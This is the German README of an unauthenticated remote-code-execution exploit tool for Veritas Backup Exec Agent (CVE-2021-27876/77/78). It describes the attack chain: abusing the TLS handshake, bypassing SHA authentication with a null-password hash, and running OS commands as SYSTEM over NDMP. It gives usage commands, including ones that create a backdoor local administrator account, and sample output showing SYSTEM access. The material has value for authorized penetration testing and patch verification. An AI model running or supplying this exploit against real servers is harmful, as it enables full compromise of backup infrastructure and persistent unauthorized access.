
Nicht authentifizierter RCE-Exploit für Veritas Backup Exec Agent (CVE-2021-27876/77/78) — SHA-Authentifizierungsumgehung zu SYSTEM über NDMP
Nicht authentifizierter RCE-Exploit für den Veritas Backup Exec Agent (CVE-2021-27876/77/78) — SHA-Authentifizierungsumgehung zu SYSTEM über NDMP
| CVE | Beschreibung | CVSS 3.1 |
|---|---|---|
| CVE-2021-27876 | Authentifizierungsumgehung durch SHA-Hash-Manipulation im NDMP-Protokoll | 9.8 Kritisch |
| CVE-2021-27877 | Nicht authentifiziertes willkürliches Dateilesen über NDMP | 9.8 Kritisch |
| CVE-2021-27878 | Willkürliche Ausführung von Betriebssystembefehlen über NDMP_EXECUTE_COMMAND | 9.8 Kritisch |
Sicherheitshinweis: Veritas VTS21-003
Behoben in: Backup Exec 21.3 und später.
Der Veritas Backup Exec Agent horcht auf TCP/10000 und verwendet das NDMP (Network Data Management Protocol). Der Exploit verknüpft drei Schwachstellen:
TLS-Handshake-Missbrauch — Der Agent fordert während seiner benutzerdefinierten TLS-Aushandlung ein CSR an. Der Exploit erzeugt eine lokale CA, signiert das CSR des Agents und schließt den Handshake ab, wodurch der Socket ohne vorher geteiltes Geheimnis auf TLS hochgestuft wird.
SHA-Authentifizierungsumgehung (CVE-2021-27876) — Die NDMP-SHA-Authentifizierung berechnet SHA256('\x00' * 64 + challenge). Da das Passwort als 64-Byte-Null-Block vorangestellt wird und keine serverseitige Validierung des Passwortmaterials erfolgt, kann sich jeder Client als Administrator authentifizieren, ohne das Passwort zu kennen.
NDMP_EXECUTE_COMMAND (CVE-2021-27878) — Nach der Authentifizierung führt der Nachrichtentyp NDMP_EXECUTE_COMMAND beliebige Betriebssystembefehle als NT AUTHORITY\SYSTEM aus. Die Ausgabe wird nach C:\Windows\Temp\_be_out.txt umgeleitet und über NDMP_FILE_READ zurückgelesen.
Python 3.8+
Auf modernen Distributionen ist Python als "externally managed" markiert (PEP 668), daher installieren Sie die Abhängigkeit in eine virtuelle Umgebung:
python3 -m venv venv
source venv/bin/activate # Windows: venv\Scripts\activate
pip install cryptography
python3 be_rce.py
Beispiele:
# Confirm SYSTEM access
python3 be_rce.py 10.10.10.50 "whoami"
# Dump hostname and domain
python3 be_rce.py 10.10.10.50 "whoami /all"
# Add a local admin
python3 be_rce.py 10.10.10.50 "net user pwned P@ssw0rd123! /add"
python3 be_rce.py 10.10.10.50 "net localgroup administrators pwned /add"
Sample output:
[*] Connecting to 10.10.10.50:10000
[*] NDMP version: 9
[+] NDMP connection opened
[*] Generating CA certificate
[*] Got agent CSR (1024 bytes)
[*] Signed agent CSR and sent back
[*] SSL_HANDSHAKE CONNECT sent
[*] Upgrading to TLS
[+] TLS established
[*] Requesting SHA challenge
[*] Got 64-byte SHA challenge
[+] SHA authentication bypassed!
[*] Executing: whoami
[+] Command output:
────────────────────────────────────────
nt authority\system
────────────────────────────────────────
Behebung
Referenzen
Rechtliches
Dieses Tool wird ausschließlich für autorisierte Penetrationstests und Sicherheitsforschung bereitgestellt. Der Einsatz gegen Systeme ohne ausdrückliche schriftliche Genehmigung ist illegal. Der Autor übernimmt keine Haftung für Missbrauch.